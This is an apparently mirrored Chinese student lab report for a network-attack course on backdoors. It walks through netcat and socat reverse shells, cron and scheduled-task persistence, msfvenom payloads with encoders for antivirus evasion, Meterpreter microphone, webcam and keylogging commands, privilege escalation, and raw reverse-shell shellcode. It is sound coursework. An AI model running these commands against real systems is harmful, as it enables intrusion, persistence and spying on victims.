zoukankan      html  css  js  c++  java
  • 2019-2020-2 网络对抗技术 20175211 Exp2 后门原理与实践

    实验内容

    使用netcat获取主机操作Shell,cron启动

    netcat是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。
    其中-e选项可以指定一个文件在连接后打开

    Windows主机获取Kali shell

    • kali在终端输入nc 192.168.1.104 23333 -e /bin/sh,将shell反弹给windows

    • windows在cmd下输入nc -lvvp 23333,监听端口

    crontab

    crontab命令常见于Unix和类Unix的操作系统之中,用于设置周期性被执行的指令。

    根据帮助文档,我们可以知道cron的格式是分钟 小时 每月的日期 月份 星期几 指令
    crontab -e编辑,在最后一行增加33 * * * * /bin/netcat 192.168.1.104 23333 -e /bin/sh,表示每天每个小时的第33分钟会执行这条反弹shell的指令。

    windows端只要准时listen就可以了

    使用socat获取主机操作Shell, 任务计划启动

    • Socat 是 Linux 下的一个多功能的网络工具,名字来由是 「Socket CAT」。其功能与有瑞士军刀之称的 Netcat 类似,可以看做是 Netcat 的加强版。
    • 任务计划是windows下和crontab差不多的东西

    右键此电脑,选择管理,在任务计划程序中选择创建基本任务

    起完名字后,指定启动socat.exe,参数为tcp-listen:5211 exec:cmd.exe,pty,stderr,这样任何人链接5211端口都可以获取shell

    设定完时间后,kali准时运行socat - tcp:192.168.1.104:5211,成功收到shell

    记得做完实验之后从任务计划程序库中把这条删掉

    使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

    • msfvenom是一个payload生成器和编码器
      -p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.
      -x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
      -e 使用的编码器,用于对shellcode变形,为了免杀。
      -i 编码器的迭代次数。如上即使用该编码器编码5次。
      -b badchar是payload中需要去除的字符。
      LHOST 是反弹回连的IP
      LPORT 是回连的端口
      -f 生成文件的类型
      > 输出到哪个文件

    可以用-l来列出所有可选的payload、文件类型、编码器等等,这里我们的目标是windows系统,所以输入以下命令:
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.79.137 LPORT=5211 -f exe > 20175211_backdoor.exe

    然后用nc传输,接收端ncat.exe -lvvp 23333 > 20175211_backdoor.exe,发送端nc 192.168.79.134 23333 < 20175211_backdoor.exe

    在windows运行这个程序。
    kali中

    • msfconsole进入Metaspolit

    • use exploit/multi/handler

    • set payload windows/meterpreter/reverse_tcp,使用和生成后门程序时相同的payload

    • set LHOST 192.168.79.137localhost,

    • set LPORT 5211,同样要使用相同的端口

    • show options,查看设置信息,再检查一遍

    • exploit执行,成功

    使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

    • help指令可以看到我们现在能执行的指令,比较有意思的比如下面这两个部分

    • record_mic可以从默认麦克风录音

    • screenshot可以截屏

    • webcam_snap可以调用摄像头,但是由于我的靶机是虚拟机,没有硬件,所以不演示了

    • keyscan_start可以记录键盘按键记录,keyscan_dump可以读取

    • shell可以获取交互式shell

    • getsystem可以提权,这时用户已经和上面不一样了。但是要先用别的洞去打,比如use exploit/windows/local/bypassuac

    可选加分内容

    • exploit-db找到x86的反弹shell的shellcodexc0xd6xffxffx31xc0x31xdbx31xc9x31xd2x66xb8x67x01xb3x02xb1x01xcdx80x89xc3xb8x80xffxffxfex83xf0xffx50x66x68x11x5cx66x6ax02x89xe1xb2x10x31xc0x66xb8x6ax01xcdx80x85xc0x75x24x31xc9xb1x02x31xc0xb0x3fxcdx80x49x79xf9x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9x31xd2xb0x0bxcdx80xb3x01x31xc0xb0x01xcdx80,其指定ip和端口为127.0.0.1:4444,为了简化,我们就在本地实验

    • nc -lvvp 23333 -e pwn1模拟服务端

    • 根据Exp1的结果制作payload,并注入pwn1,nc 192.168.79.137 23333 < shellcode

    • msf中设置

      • use exploit/multi/handler
      • set payload linux/x86/shell_reverse_tcp
      • set LHOST 127.0.0.1
      • set LPORT 4444
      • exploit

      成功

    报告内容

    基础问题回答

    • (1)例举你能想到的一个后门进入到你系统中的可能方式?

      • 钓鱼链接可能会让你下载奇怪的软件
      • 从不可信的第三方下载软件,软件中可能被植入后门
    • (2)例举你知道的后门如何启动起来(win及linux)的方式?
      crontab,任务计划,自启动项

    • (3)Meterpreter有哪些给你映像深刻的功能?
      调用摄像头,看来IT巨头们喜欢把电脑上摄像头贴住不是装装的

    • (4)如何发现自己有系统有没有被安装后门?
      杀软,检查自启动项,有无异常进程,尤其是网络连接

    实验总结与体会

    这次试验总体来说没有上次难,因为主要是工具的使用,但也是很重要的基本功。希望有机会能更深入了解后门的制作和防范

  • 相关阅读:
    hadoop再次集群搭建(3)-如何选择相应的hadoop版本
    48. Rotate Image
    352. Data Stream as Disjoint Interval
    163. Missing Ranges
    228. Summary Ranges
    147. Insertion Sort List
    324. Wiggle Sort II
    215. Kth Largest Element in an Array
    快速排序
    280. Wiggle Sort
  • 原文地址:https://www.cnblogs.com/20175211lyz/p/12495522.html
Copyright © 2011-2022 走看看